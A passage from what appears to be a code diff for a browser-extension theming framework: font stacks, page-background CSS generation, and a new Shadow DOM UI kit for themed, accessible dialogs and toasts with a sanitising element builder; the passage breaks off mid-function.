weight: spec === 'inherit' ? null : spec.weight ?? null,
size: spec === 'inherit' ? 1 : spec.size ?? 1,
tracking: spec === 'inherit' ? null : spec.tracking ?? null,
tabular: spec !== 'inherit' && !!spec.tabular,
};
}
return out;
}
/**
* A named font stack offered by the panel's pickers. `key` names its translated label
* (`wb.fonts.choice.*`); `label` is the English one. A site adds its own font first (X: "X's Chirp",
* an empty family that keeps the site's type).
*/
export type FontChoice = { id: string; label: string; key?: string; family: string[] };
/** Font choices offered by the panel; any installed family can also be named in theme JSON. */
export const FONT_CHOICES: FontChoice[] = [
{ id: 'geist', label: 'Geist', family: ['Geist', ...SYSTEM_SANS] },
{ id: 'geist-mono', label: 'Geist Mono', family: ['Geist Mono', 'Cascadia Mono', 'Consolas', 'Menlo', 'ui-monospace', 'monospace'] },
{ id: 'system', label: 'System UI', key: 'wb.fonts.choice.system', family: SYSTEM_SANS },
{ id: 'helvetica', label: 'Helvetica / Arial', family: ['Helvetica Neue', 'Helvetica', 'Arial', 'sans-serif'] },
{ id: 'humanist', label: 'Humanist (Segoe, Avenir)', key: 'wb.fonts.choice.humanist', family: ['Avenir Next', 'Segoe UI Variable Text', 'Segoe UI', 'sans-serif'] },
{ id: 'rounded', label: 'Rounded', key: 'wb.fonts.choice.rounded', family: ['ui-rounded', 'SF Pro Rounded', 'Nunito', 'Bahnschrift', 'Segoe UI', 'sans-serif'] },
{ id: 'serif', label: 'Serif (Charter, Georgia)', key: 'wb.fonts.choice.serif', family: ['Charter', 'Iowan Old Style', 'Georgia', 'Cambria', 'serif'] },
{ id: 'mono', label: 'System mono', key: 'wb.fonts.choice.mono', family: ['Cascadia Mono', 'SF Mono', 'Consolas', 'Menlo', 'ui-monospace', 'monospace'] },
];
/** The choice whose stack is exactly `family` in `choices`, or `custom`. */
export const fontChoiceOf = (family: string[], choices: readonly FontChoice[] = FONT_CHOICES) => choices.find(choice => choice.family.join('|') === family.join('|'))?.id ?? 'custom';
// ---------------------------------------------------------------------------------------------
// Backgrounds
const svgUrl = (svg: string) => `url("data:image/svg+xml,${encodeURIComponent(svg)}")`;
/**
* The site's page background. A site's `<html>` and `<body>` are often one viewport tall while the
* content overflows them (X's timeline), so a background painted on both had `<body>` paint its own
* copy over its box, which scrolls away: after a partial scroll the gradient/glow showed only below a hard seam. Now
* `<html>` holds the plain page color, `<body>` is transparent (beating, by specificity, the
* palette's `html,body{background-color}` and its `[style^="background-color: …"]` remap of the
* inline color X puts on `<body>`) and every layer sits on one viewport-sized fixed
* layer behind all of the page (`z-index:-1` in the root stacking context), with no `fixed` attachments.
*/
export function pageBackgroundCss(background: Background, page: string): string[] {
const out = [`html:root{background:${page} !important}`, `html:root body{background:transparent !important}`];
if (background.kind !== 'none') {
out.push(`html:root::before{content:"";position:fixed;inset:0;z-index:-1;pointer-events:none;contain:strict;background:${backgroundLayers(background, page, false)}}`);
}
return out;
}
/**
* CSS `background` layers for the page canvas (behind the site's columns). `attach` keeps the `fixed`
* attachments for a box that scrolls (the Theme Builder preview); the site's page gets the layers without
* them, on one viewport-sized fixed layer (`pageBackgroundCss`).
*/
export function backgroundLayers(background: Background, page: string, attach = true): string {
const fixed = attach ? ' fixed' : '';
switch (background.kind) {
case 'gradient': {
const glow = background.glow ? `radial-gradient(1200px 600px at 50% -10%, ${rgba(background.glow, 0.55)}, transparent 70%), ` : '';
return `${glow}linear-gradient(${background.angle}deg, ${background.from}, ${background.to})${fixed}, ${page}`;
}
case 'pattern': {
const { ink, opacity: a, size: s } = background;
const c = rgba(ink, a);
switch (background.pattern) {
case 'dots': return `radial-gradient(${c} 1px, transparent 1.6px) 0 0 / ${s}px ${s}px, ${page}`;
case 'grid': return `linear-gradient(${c} 1px, transparent 1px) 0 0 / ${s}px ${s}px, linear-gradient(90deg, ${c} 1px, transparent 1px) 0 0 / ${s}px ${s}px, ${page}`;
case 'diagonal': return `repeating-linear-gradient(135deg, ${c} 0 1px, transparent 1px ${s}px), ${page}`;
case 'scanlines': return `repeating-linear-gradient(0deg, ${c} 0 1px, transparent 1px ${s}px), radial-gradient(ellipse at 50% 40%, ${rgba(ink, a * 1.6)}, transparent 70%)${fixed}, ${page}`;
case 'paper': return `${svgUrl(`<svg xmlns="http://www.w3.org/2000/svg" width="${s}" height="${s}"><filter id="n"><feTurbulence type="fractalNoise" baseFrequency=".85" numOctaves="3" stitchTiles="stitch"/><feColorMatrix values="0 0 0 0 ${hexToRgb(ink).map(v => (v / 255).toFixed(3)).join(' 0 0 0 0 ')} 0 0 0 ${(a * 2.2).toFixed(3)} 0"/></filter><rect width="100%" height="100%" filter="url(#n)"/></svg>`)} 0 0 / ${s}px ${s}px, ${page}`;
case 'clouds': return [
`radial-gradient(${s}px ${Math.round(s * 0.42)}px at 12% 22%, ${c}, transparent 70%)${fixed}`,
`radial-gradient(${Math.round(s * 1.3)}px ${Math.round(s * 0.5)}px at 86% 12%, ${c}, transparent 70%)${fixed}`,
`radial-gradient(${Math.round(s * 1.1)}px ${Math.round(s * 0.4)}px at 78% 70%, ${c}, transparent 70%)${fixed}`,
`radial-gradient(${Math.round(s * 0.9)}px ${Math.round(s * 0.36)}px at 18% 82%, ${c}, transparent 70%)${fixed}`,
`linear-gradient(180deg, ${mix(page, '#ffffff', 0.25)}, ${page} 60%)${fixed}`, page,
].join(', ');
}
return page;
}
case 'image': {
const scrim = `linear-gradient(${rgba(page, background.dim)}, ${rgba(page, background.dim)})${fixed}`;
return background.fit === 'tile' ? `${scrim}, url("${background.url}") 0 0 / auto repeat, ${page}` : `${scrim}, url("${background.url}") center / cover no-repeat${fixed}, ${page}`;
}
default: return page;
}
}

View file

@ -9,11 +9,7 @@
// Pure: runs in the page runtime, the settings previews and the tests. The site adapter supplies the
// source palettes (`SourceAxis`, one per site mode); e.g. X's Default/Dim/Lights out.
/** `#rrggbb` → [r, g, b] (local, so themeSpec.ts can import this module without a cycle). */
function hexToRgb(hex: string): Rgb {
const n = parseInt(hex.slice(1, 7), 16);
return [(n >> 16) & 255, (n >> 8) & 255, n & 255];
}
import { hexToRgb } from './themeApi.ts';
export type Oklab = [number, number, number];
type Rgb = [number, number, number];

947
packages/runtime/src/ui.ts Normal file
View file

@ -0,0 +1,947 @@
// `api.ui`: toasts, alerts, confirmations, prompts and dialogs for plugins, drawn in the active
// theme's colors, corners and font. Everything lives in one Shadow DOM host (`<wb-ui>`), so the
// site's CSS cannot reach it and it cannot reach the site; the host exists only while something is
// on screen, and a plugin's `scope.ui` closes whatever that plugin opened when it stops.
//
// Accessibility: dialogs are `role="dialog"` (alerts and confirmations `role="alertdialog"`),
// `aria-modal`, labelled by their title and described by their message; focus moves in, is trapped
// (Tab / Shift+Tab wrap), and returns to where it was. Esc dismisses, Enter in a single-line field
// runs the default action. Stacked dialogs make the ones below inert. Toasts are a polite live
// region (danger toasts `role="alert"`), pause while hovered or focused, and stack (four at most).
// Motion is skipped with `prefers-reduced-motion`. Text is always set as text (never parsed as HTML).
import { adoptStyles, type RootStyles } from './styles.ts';
import { themeVars, type ResolvedTheme, type ThemeApi } from './themeApi.ts';
export type Tone = 'neutral' | 'info' | 'success' | 'warning' | 'danger';
/** Dialog content: text, a node, or a function that fills the dialog's body element. */
export type Content = string | Node | ((body: HTMLElement) => void) | null | undefined;
export type ModalAction = {
label: string;
/** `primary` (filled, the theme's button colors), `secondary` (outlined, default), `danger`, `plain` (text). */
tone?: 'primary' | 'secondary' | 'danger' | 'plain';
/** Runs on click. Return `false` (or a promise of `false`) to keep the dialog open. */
onClick?: (handle: ModalHandle) => unknown;
/** What `closed` resolves with when this action closes the dialog (default: the label). */
value?: unknown;
/** Enter in a single-line field (or on the dialog itself) runs this action. */
default?: boolean;
/** Focused when the dialog opens. */
autoFocus?: boolean;
disabled?: boolean;
};
export type ModalOptions = {
role?: 'dialog' | 'alertdialog';
title?: string;
/** Text under the title (also the dialog's accessible description). */
message?: string;
/** Accessible name when there is no visible title. */
label?: string;
content?: Content;
actions?: ModalAction[];
/** px, or `sm` (380), `md` (480, default), `lg` (640). Always fits the window. */
width?: number | 'sm' | 'md' | 'lg';
/** Adds a tone icon before the title. */
tone?: Tone;
/** Esc and the close button dismiss it (default true). */
dismissible?: boolean;
/** A click on the backdrop dismisses it (default false; alerts and confirmations say true). */
closeOnBackdrop?: boolean;
/** Shows a close button in the header (default: dismissible and titled). */
closeButton?: boolean;
/** Element or selector (inside the dialog) to focus first. */
initialFocus?: HTMLElement | string;
/** Extra CSS for this dialog's content (scoped to the kit's shadow root). */
css?: string;
/** `closed` resolves with this when dismissed (Esc, backdrop, close button, owner stopped). */
dismissValue?: unknown;
/** Buttons stacked full width (the site's confirmation sheet look) instead of a right-aligned row. */
stackActions?: boolean;
onClose?: (result: unknown) => void;
};
export type ModalHandle = {
/** The dialog element (`role="dialog"`). */
readonly element: HTMLElement;
/** Where `content` went; add or replace your own nodes here. */
readonly body: HTMLElement;
readonly open: boolean;
/** Resolves with the close result once the dialog is gone. */
readonly closed: Promise<unknown>;
close(result?: unknown): void;
/** Shows (or clears with null) an error line above the actions, announced to screen readers. */
setError(message: string | null): void;
/** Disables the actions while something runs. */
setBusy(busy: boolean): void;
};
export type DialogOptions = Omit<ModalOptions, 'role'>;
export type AlertOptions = { title?: string; message?: string; tone?: Tone; okLabel?: string };
export type ConfirmOptions = { title?: string; message?: string; confirmLabel?: string; cancelLabel?: string; danger?: boolean };
export type PromptOptions = {
title?: string;
message?: string;
label?: string;
value?: string;
placeholder?: string;
/** Return an error message (or false) to refuse the value; anything else accepts it. */
validate?: (value: string) => string | boolean | null | undefined;
/** A textarea instead of a single line (Ctrl/Cmd+Enter submits). */
multiline?: boolean;
maxLength?: number;
confirmLabel?: string;
cancelLabel?: string;
width?: ModalOptions['width'];
};
export type ToastAction = { label: string; onClick: () => void };
export type ToastOptions = {
tone?: Tone;
/** ms on screen (default 3200, 6000 with an action); 0 keeps it until closed. */
duration?: number;
action?: ToastAction;
};
export type ToastHandle = { readonly element: HTMLElement; close(): void; readonly closed: Promise<void> };
type Child = Node | string | number | null | undefined | false | Child[];
export type ElementProps = Record<string, unknown>;
export type UiKit = {
toast(message: string, options?: ToastOptions | number): ToastHandle;
alert(options: AlertOptions | string): Promise<void>;
confirm(options: ConfirmOptions | string): Promise<boolean>;
prompt(options: PromptOptions | string): Promise<string | null>;
dialog(options: DialogOptions): ModalHandle;
modal(options: ModalOptions): ModalHandle;
/**
* A safe element builder for dialog content: `h('label', { class: 'wb-check' }, input, 'Text')`.
* Strings become text nodes; `on<event>` functions become listeners; `value`/`checked`/`disabled`
* are set as properties; everything else as attributes (no `innerHTML`, no string handlers, no
* `javascript:` URLs).
*/
h(tag: string, props?: ElementProps | null, ...children: Child[]): HTMLElement;
};
export type UiKitOptions = {
theme: ThemeApi;
/** Custom element name of the shadow host (default `wb-ui`). */
hostTag?: string;
/** Id of the shadow host element. */
hostId?: string;
zIndex?: number;
/** Console prefix. */
product?: string;
/**
* The kit's own words (buttons, accessible names, default errors) in the app's language:
* called with a `kit.*` key and returns the translation, or undefined for English.
*/
text?: (key: KitKey) => string | undefined;
};
/** The kit's default words (English source; `kit.*` keys in the framework catalogs). */
export const KIT_MESSAGES = {
'kit.ok': 'OK',
'kit.cancel': 'Cancel',
'kit.delete': 'Delete',
'kit.close': 'Close',
'kit.dismiss': 'Dismiss',
'kit.dialog': 'Dialog',
'kit.value': 'Value',
'kit.checkValue': 'Please check this value.',
'kit.failed': 'Something went wrong.',
} as const;
export type KitKey = keyof typeof KIT_MESSAGES;
export type RootUiKit = UiKit & {
/** A kit whose dialogs and toasts are closed by `dispose()` (a plugin's `scope.ui`). */
scoped(): { kit: UiKit; dispose(): void };
/** Open dialogs, bottom first (for tests and the shell). */
openModals(): number;
};
// ---------------------------------------------------------------------------------------------
// Pure helpers (tested without a DOM)
export const WIDTHS = { sm: 380, md: 480, lg: 640 } as const;
export const MAX_TOASTS = 4;
/** Dialog width in px for an option value. */
export function dialogWidth(width: ModalOptions['width']): number {
if (typeof width === 'number' && Number.isFinite(width)) return Math.max(260, Math.min(960, Math.round(width)));
return WIDTHS[width as keyof typeof WIDTHS] ?? WIDTHS.md;
}
/** How long a toast stays: explicit ms, 0 = until closed; defaults 3200 / 6000 with an action. */
export function toastDuration(options: ToastOptions): number {
const value = options.duration;
if (typeof value === 'number' && Number.isFinite(value)) return value <= 0 ? 0 : Math.max(800, Math.min(60_000, value));
if (value === Infinity) return 0;
return options.action ? 6000 : 3200;
}
/** Tab / Shift+Tab inside a trap: the index to focus next, or -1 to let the browser move focus. */
export function trapIndex(count: number, current: number, backwards: boolean): number {
if (count === 0) return -1;
if (current < 0) return backwards ? count - 1 : 0;
if (backwards && current === 0) return count - 1;
if (!backwards && current === count - 1) return 0;
return -1;
}
/** A validator's answer as an error message (null = valid). */
export function validationMessage(result: unknown, fallback: string = KIT_MESSAGES['kit.checkValue']): string | null {
if (typeof result === 'string') return result.trim() ? result : null;
if (result === false) return fallback;
return null;
}
const BLOCKED_PROPS = new Set(['innerhtml', 'outerhtml', 'srcdoc', 'insertadjacenthtml']);
const PROPERTY_PROPS = new Set(['value', 'checked', 'disabled', 'selected', 'indeterminate', 'multiple', 'readOnly', 'required', 'rows', 'maxLength', 'spellcheck', 'tabIndex']);
const URL_ATTRS = /^(href|src|srcset|action|formaction|xlink:href|poster|ping|cite|background)$/i;
const SAFE_SCHEMES = new Set(['http', 'https', 'mailto']);
/**
* Whether a URL attribute value is safe: relative, or http(s)/mailto. Checked the way browsers read
* a URL (tabs and newlines anywhere and leading control characters/spaces are ignored), so
* `java\tscript:` or `\x01javascript:` do not slip through.
*/
export function isSafeUrl(value: string): boolean {
const normalized = String(value).replace(/[\t\n\r]/g, '').replace(/^[\u0000-\u0020]+/, '');
const scheme = /^([a-z][a-z0-9+.-]*):/i.exec(normalized);
return !scheme || SAFE_SCHEMES.has(scheme[1]!.toLowerCase());
}
/** The builder behind `ui.h`, for any document. */
export function buildElement(doc: Document, tag: string, props?: ElementProps | null, ...children: Child[]): HTMLElement {
if (!/^[a-z][a-z0-9-]*$/i.test(tag) || /^(script|style|iframe|object|embed)$/i.test(tag)) throw new Error(`ui.h: unsupported tag ${JSON.stringify(tag)}`);
const element = doc.createElement(tag);
for (const [key, value] of Object.entries(props ?? {})) {
if (value === undefined || value === null || value === false && !PROPERTY_PROPS.has(key)) continue;
if (BLOCKED_PROPS.has(key.toLowerCase())) continue;
if (key === 'class' || key === 'className') element.className = String(value);
else if (key === 'text') element.textContent = String(value);
else if (key === 'style' && typeof value === 'object') Object.assign(element.style, value);
else if (key === 'dataset' && typeof value === 'object') Object.assign(element.dataset, value);
else if (/^on[a-z]/i.test(key)) { if (typeof value === 'function') element.addEventListener(key.slice(2).toLowerCase(), value as EventListener); }
else if (PROPERTY_PROPS.has(key)) (element as unknown as Record<string, unknown>)[key] = value;
else if (URL_ATTRS.test(key) && !isSafeUrl(String(value))) continue;
else element.setAttribute(key, value === true ? '' : String(value));
}
const append = (child: Child) => {
if (child === null || child === undefined || child === false) return;
if (Array.isArray(child)) { for (const item of child) append(item); return; }
element.appendChild(typeof child === 'object' ? child : doc.createTextNode(String(child)));
};
for (const child of children) append(child);
return element;
}
// ---------------------------------------------------------------------------------------------
// Styles (inside the shadow root; every value comes from `--wb-*` set on the host)
const DANGER = '#f4212e';
const TONES: Record<Tone, string> = { neutral: 'var(--wb-accent)', info: 'var(--wb-accent)', success: '#00ba7c', warning: '#ffad1f', danger: DANGER };
// Toast colors keep their label at 4.5:1 or more (neutral toasts use the theme's inverse pair,
// which the theme engine keeps legible).
const TOAST_TONES: Record<Exclude<Tone, 'neutral' | 'info'>, [string, string]> = { success: ['#00805a', '#ffffff'], warning: ['#ffd400', '#0f1419'], danger: ['#d0121f', '#ffffff'] };
export const UI_CSS = `
:host { all: initial; }
.wb-root { font-family: var(--wb-font-dialog, var(--wb-font)); color: var(--wb-text); -webkit-font-smoothing: antialiased; }
.wb-root *, .wb-root *::before, .wb-root *::after { box-sizing: border-box; }
.wb-layer { position: fixed; inset: 0; display: grid; place-items: center; padding: 16px; pointer-events: auto; overscroll-behavior: contain; }
.wb-backdrop { position: absolute; inset: 0; background: var(--wb-scrim); animation: wb-fade .16s ease-out; }
.wb-dialog { position: relative; width: min(var(--wb-dialog-width, 480px), 100%); max-height: calc(100vh - 32px); overflow: auto; overscroll-behavior: contain;
display: flex; flex-direction: column; gap: 0; padding: 20px 24px 22px; background: var(--wb-bg); color: var(--wb-text);
border: 1px solid var(--wb-border); border-radius: var(--wb-radius); box-shadow: 0 24px 64px -12px rgba(0,0,0,.45), 0 2px 8px rgba(0,0,0,.12);
font: 400 15px/1.45 var(--wb-font-dialog, var(--wb-font)); outline: none; animation: wb-in .18s cubic-bezier(.2,.9,.3,1.2); }
.wb-layer.wb-closing .wb-dialog { animation: wb-out .12s ease-in forwards; }
.wb-layer.wb-closing .wb-backdrop { animation: wb-fade-out .12s ease-in forwards; }
.wb-layer[inert] .wb-dialog { filter: saturate(.9); }
.wb-head { display: flex; align-items: flex-start; gap: 10px; margin: 0 0 4px; }
.wb-title { flex: 1; margin: 0; font: 800 20px/1.25 var(--wb-font-dialog, var(--wb-font)); letter-spacing: -.01em; color: var(--wb-text); overflow-wrap: anywhere; }
.wb-icon { flex: none; width: 24px; height: 24px; margin-top: 1px; color: var(--wb-tone); }
.wb-icon svg { display: block; width: 24px; height: 24px; }
.wb-close { flex: none; display: grid; place-items: center; width: 32px; height: 32px; margin: -6px -10px 0 0; padding: 0; border: 0; border-radius: 999px;
background: transparent; color: var(--wb-text); cursor: pointer; }
.wb-close:hover { background: var(--wb-hover); }
.wb-close svg { width: 18px; height: 18px; }
.wb-message { margin: 4px 0 0; color: var(--wb-muted); white-space: pre-line; overflow-wrap: anywhere; }
.wb-body { margin-top: 14px; min-width: 0; }
.wb-body:empty { display: none; }
.wb-error { margin: 12px 0 0; color: var(--wb-danger); font-size: 13px; font-weight: 600; }
.wb-error[hidden] { display: none; }
.wb-actions { display: flex; flex-wrap: wrap; justify-content: flex-end; gap: 10px; margin-top: 22px; }
.wb-actions:empty { display: none; }
.wb-actions.wb-stack { flex-direction: column; align-items: stretch; gap: 12px; margin-top: 24px; }
.wb-actions.wb-stack .wb-btn { height: 44px; font-size: 16px; }
.wb-btn { display: inline-flex; align-items: center; justify-content: center; gap: 6px; min-width: 72px; height: 36px; padding: 0 18px;
border: 1px solid transparent; border-radius: var(--wb-button-radius); font: 700 15px/1 var(--wb-font-dialog, var(--wb-font)); cursor: pointer; white-space: nowrap;
transition: background-color .12s, filter .12s, opacity .12s; }
.wb-btn:disabled, .wb-btn[aria-disabled="true"] { opacity: .5; cursor: default; }
.wb-btn:focus-visible, .wb-close:focus-visible, .wb-toast button:focus-visible { outline: 2px solid var(--wb-accent); outline-offset: 2px; }
.wb-primary { background: var(--wb-inverse); color: var(--wb-on-inverse); }
.wb-primary:not(:disabled):not([aria-disabled="true"]):hover { filter: brightness(.92) contrast(1.05); }
.wb-danger { background: var(--wb-danger); color: #fff; }
.wb-danger:not(:disabled):hover { filter: brightness(.92); }
.wb-secondary { background: transparent; color: var(--wb-text); border-color: var(--wb-border-strong); }
.wb-secondary:not(:disabled):hover { background: var(--wb-hover); }
.wb-plain { background: transparent; color: var(--wb-accent); min-width: 0; padding: 0 10px; }
.wb-plain:not(:disabled):hover { background: var(--wb-hover); }
.wb-btn[aria-busy="true"] { cursor: progress; }
/* Form parts for dialog content. */
.wb-field { display: flex; flex-direction: column; gap: 6px; margin: 0 0 12px; }
.wb-field:last-child { margin-bottom: 0; }
.wb-label { font-size: 13px; font-weight: 600; color: var(--wb-muted); }
.wb-hint { margin: 0; font-size: 13px; color: var(--wb-muted); }
.wb-input, .wb-dialog input[type="text"], .wb-dialog input[type="search"], .wb-dialog input[type="url"], .wb-dialog input[type="number"], .wb-dialog textarea, .wb-dialog select {
width: 100%; min-height: 40px; padding: 9px 12px; border: 1px solid var(--wb-border-strong); border-radius: var(--wb-field-radius);
background: var(--wb-bg); color: var(--wb-text); font: 400 15px/1.4 var(--wb-font-dialog, var(--wb-font)); outline: none; transition: border-color .12s, box-shadow .12s; }
.wb-dialog textarea { min-height: 96px; resize: vertical; }
.wb-dialog textarea.wb-mono { font: 400 13px/1.5 var(--wb-font-mono, ui-monospace, "Cascadia Mono", Consolas, Menlo, monospace); }
.wb-input::placeholder, .wb-dialog input::placeholder, .wb-dialog textarea::placeholder { color: var(--wb-muted); opacity: .8; }
.wb-input:focus, .wb-dialog input:focus, .wb-dialog textarea:focus, .wb-dialog select:focus { border-color: var(--wb-accent); box-shadow: 0 0 0 1px var(--wb-accent); }
.wb-dialog [aria-invalid="true"] { border-color: var(--wb-danger) !important; box-shadow: 0 0 0 1px var(--wb-danger) !important; }
.wb-check { display: flex; align-items: flex-start; gap: 10px; padding: 7px 0; cursor: pointer; line-height: 1.35; }
.wb-check input { flex: none; width: 18px; height: 18px; margin: 1px 0 0; accent-color: var(--wb-accent); cursor: pointer; }
.wb-check small { display: block; color: var(--wb-muted); font-size: 13px; }
.wb-divider { height: 1px; margin: 12px 0; background: var(--wb-border); border: 0; }
.wb-row { display: flex; align-items: center; gap: 10px; }
.wb-muted { color: var(--wb-muted); }
.wb-dialog a { color: var(--wb-accent); }
/* Toasts */
.wb-toasts { position: fixed; left: 50%; bottom: 24px; transform: translateX(-50%); display: flex; flex-direction: column; align-items: center; gap: 8px;
width: max-content; max-width: min(560px, calc(100vw - 32px)); pointer-events: none; }
.wb-toast { display: flex; align-items: center; gap: 12px; min-height: 44px; max-width: 100%; padding: 10px 10px 10px 16px; border-radius: min(var(--wb-radius), 12px);
background: var(--wb-toast-bg); color: var(--wb-toast-fg); box-shadow: 0 10px 30px -6px rgba(0,0,0,.4); pointer-events: auto;
font: 500 15px/1.35 var(--wb-font-dialog, var(--wb-font)); animation: wb-toast-in .2s cubic-bezier(.2,.9,.3,1.2); }
.wb-toast.wb-closing { animation: wb-toast-out .14s ease-in forwards; }
${Object.entries(TOAST_TONES).map(([tone, [bg, fg]]) => `.wb-toast[data-tone="${tone}"] { --wb-toast-bg: ${bg}; --wb-toast-fg: ${fg}; }`).join(' ')}
.wb-toast-icon { flex: none; display: grid; margin-left: -4px; }
.wb-toast-icon svg { width: 20px; height: 20px; }
.wb-toast[data-tone="info"] .wb-toast-icon { color: var(--wb-accent); }
.wb-toast-text { flex: 1; min-width: 0; overflow-wrap: anywhere; white-space: pre-line; padding-right: 4px; }
.wb-toast button { flex: none; border: 0; cursor: pointer; color: inherit; font: 700 14px/1 var(--wb-font-dialog, var(--wb-font)); }
.wb-toast-action { height: 30px; padding: 0 12px; border-radius: var(--wb-button-radius); background: color-mix(in srgb, currentColor 16%, transparent); }
.wb-toast-action:hover { background: color-mix(in srgb, currentColor 26%, transparent); }
.wb-toast-close { display: grid; place-items: center; width: 28px; height: 28px; padding: 0; border-radius: 999px; background: transparent; opacity: .8; }
.wb-toast-close:hover { opacity: 1; background: color-mix(in srgb, currentColor 16%, transparent); }
.wb-toast-close svg { width: 16px; height: 16px; }
@keyframes wb-fade { from { opacity: 0; } }
@keyframes wb-fade-out { to { opacity: 0; } }
@keyframes wb-in { from { opacity: 0; transform: translateY(6px) scale(.97); } }
@keyframes wb-out { to { opacity: 0; transform: scale(.98); } }
@keyframes wb-toast-in { from { opacity: 0; transform: translateY(10px) scale(.98); } }
@keyframes wb-toast-out { to { opacity: 0; transform: translateY(6px); } }
@media (prefers-reduced-motion: reduce) {
.wb-root *, .wb-root *::before, .wb-root *::after { animation: none !important; transition: none !important; }
}
`;
const SVG_NS = 'http://www.w3.org/2000/svg';
const ICONS: Record<Exclude<Tone, 'neutral'> | 'close', string> = {
info: 'M12 2a10 10 0 1 0 0 20 10 10 0 0 0 0-20Zm1 15h-2v-6h2v6Zm0-8h-2V7h2v2Z',
success: 'M12 2a10 10 0 1 0 0 20 10 10 0 0 0 0-20Zm-1.2 14.2-4-4 1.4-1.4 2.6 2.6 5-5 1.4 1.4-6.4 6.4Z',
warning: 'M12 2 1 21h22L12 2Zm1 16h-2v-2h2v2Zm0-4h-2v-5h2v5Z',
danger: 'M12 2a10 10 0 1 0 0 20 10 10 0 0 0 0-20Zm1 15h-2v-2h2v2Zm0-4h-2V7h2v6Z',
close: 'M10.59 12 4.54 5.96l1.42-1.42L12 10.59l6.04-6.05 1.42 1.42L13.41 12l6.05 6.04-1.42 1.42L12 13.41l-6.04 6.05-1.42-1.42L10.59 12Z',
};
const FOCUSABLE = 'a[href],button:not([disabled]),input:not([disabled]):not([type="hidden"]),select:not([disabled]),textarea:not([disabled]),[contenteditable]:not([contenteditable="false"]),[tabindex]:not([tabindex="-1"])';
// ---------------------------------------------------------------------------------------------
type Entry = { close(result?: unknown): void };
type Owner = Set<Entry>;
type OpenModal = {
layer: HTMLElement;
panel: HTMLElement;
handle: ModalHandle;
dismiss(): void;
returnTo: HTMLElement | null;
lastFocus: HTMLElement | null;
};
/** The deepest focused element, through open shadow roots. */
export function deepActiveElement(doc: Document): HTMLElement | null {
let active = doc.activeElement as HTMLElement | null;
while (active?.shadowRoot?.activeElement) active = active.shadowRoot.activeElement as HTMLElement;
return active;
}
export function createUiKit(win: Window & typeof globalThis, options: UiKitOptions): RootUiKit {
const doc = win.document;
const hostTag = options.hostTag ?? 'wb-ui';
const product = options.product ?? 'wayBetter';
const report = (error: unknown) => console.error(`[${product}] ui callback failed`, error);
const word = (key: KitKey): string => {
try {
const value = options.text?.(key);
if (typeof value === 'string' && value) return value;
} catch { /* a broken translator must not break a dialog */ }
return KIT_MESSAGES[key];
};
const isShadowRoot = (node: unknown): node is ShadowRoot => typeof win.ShadowRoot === 'function' && node instanceof win.ShadowRoot;
const reducedMotion = () => { try { return !!win.matchMedia?.('(prefers-reduced-motion: reduce)').matches; } catch { return false; } };
let host: HTMLElement | null = null;
let root: ShadowRoot | HTMLElement | null = null;
let layers: HTMLElement | null = null;
let toastRegion: HTMLElement | null = null;
let offTheme: (() => void) | null = null;
const stack: OpenModal[] = [];
const toasts: Array<{ element: HTMLElement; key: string; restart(): void; close(): void; closed: Promise<void> }> = [];
let seq = 0;
let pendingExits = 0;
const ownerIds = new WeakMap<Owner, number>();
const paint = (theme: ResolvedTheme) => {
if (!host) return;
const vars = themeVars(theme);
const dark = theme.mode === 'dark';
vars['--wb-scrim'] = dark ? 'rgba(91, 112, 131, 0.4)' : 'rgba(15, 20, 25, 0.4)';
vars['--wb-hover'] = `color-mix(in srgb, ${theme.colors.text} ${dark ? 12 : 8}%, transparent)`;
vars['--wb-border-strong'] = `color-mix(in srgb, ${theme.colors.border} 70%, ${theme.colors.muted})`;
vars['--wb-field-radius'] = `${Math.min(10, Math.max(2, Math.round(theme.radius / 2)))}px`;
vars['--wb-danger'] = DANGER;
vars['--wb-toast-bg'] = theme.colors.inverse;
vars['--wb-toast-fg'] = theme.colors.onInverse;
for (const [name, value] of Object.entries(vars)) host.style.setProperty(name, value);
host.style.setProperty('color-scheme', theme.mode);
};
const ensureRoot = () => {
if (host?.isConnected && root && layers && toastRegion) return;
if (host) {
// Someone removed the host while things were open: close them (their promises resolve).
offTheme?.();
offTheme = null;
for (const entry of [...stack]) entry.dismiss();
for (const item of [...toasts]) item.close();
}
host?.remove();
host = doc.createElement(hostTag);
host.setAttribute('data-wb-ui', '');
if (options.hostId) host.id = options.hostId;
// The host sits above the site; it takes no clicks itself (its layers and toasts do).
host.style.cssText = `all:initial;position:fixed;inset:0;z-index:${options.zIndex ?? 2147483600};pointer-events:none;display:block;`;
root = typeof host.attachShadow === 'function' ? host.attachShadow({ mode: 'open' }) : host;
const wrap = doc.createElement('div');
wrap.className = 'wb-root';
layers = doc.createElement('div');
toastRegion = doc.createElement('div');
toastRegion.className = 'wb-toasts';
toastRegion.setAttribute('aria-live', 'polite');
toastRegion.setAttribute('aria-relevant', 'additions');
wrap.append(layers, toastRegion);
root.append(wrap);
// An adopted sheet (see styles.ts): the site's CSP cannot refuse it, and it stays with the root
// wherever the host is moved. A host without a shadow root keeps a <style> child.
if (isShadowRoot(root)) adoptStyles(root, UI_CSS);
else {
const style = doc.createElement('style');
style.textContent = UI_CSS;
root.prepend(style);
}
// Keys typed in a dialog are ours: the site's (and plugins') page shortcuts never see them.
for (const type of ['keydown', 'keyup', 'keypress']) root.addEventListener(type, event => event.stopPropagation());
(doc.body ?? doc.documentElement).appendChild(host);
paint(options.theme.current());
offTheme = options.theme.onChange(paint);
};
/** Removes the host once nothing is on screen, so a stopped plugin leaves the page as it was. */
const maybeTeardown = () => {
if (stack.length || toasts.length || pendingExits) return;
offTheme?.();
offTheme = null;
host?.remove();
host = root = layers = toastRegion = null;
};
const later = (fn: () => void, ms: number) => {
if (ms <= 0) { fn(); return; }
pendingExits += 1;
win.setTimeout(() => { pendingExits -= 1; fn(); maybeTeardown(); }, ms);
};
const svg = (path: string) => {
const icon = doc.createElementNS(SVG_NS, 'svg');
icon.setAttribute('viewBox', '0 0 24 24');
icon.setAttribute('aria-hidden', 'true');
const shape = doc.createElementNS(SVG_NS, 'path');
shape.setAttribute('d', path);
shape.setAttribute('fill', 'currentColor');
icon.appendChild(shape);
return icon;
};
const tabbables = (panel: HTMLElement) => Array.from(panel.querySelectorAll<HTMLElement>(FOCUSABLE))
.filter(el => el.tabIndex >= 0 && !el.closest('[hidden],[inert]') && el.getClientRects().length > 0);
const focus = (el: HTMLElement | null | undefined) => { try { el?.focus({ preventScroll: true }); } catch { /* Detached. */ } };
// One focus guard for all dialogs: focus that lands outside the kit goes back to the top dialog.
let guardWindow = 0;
let guardCount = 0;
const onFocusIn = (event: FocusEvent) => {
const top = stack[stack.length - 1];
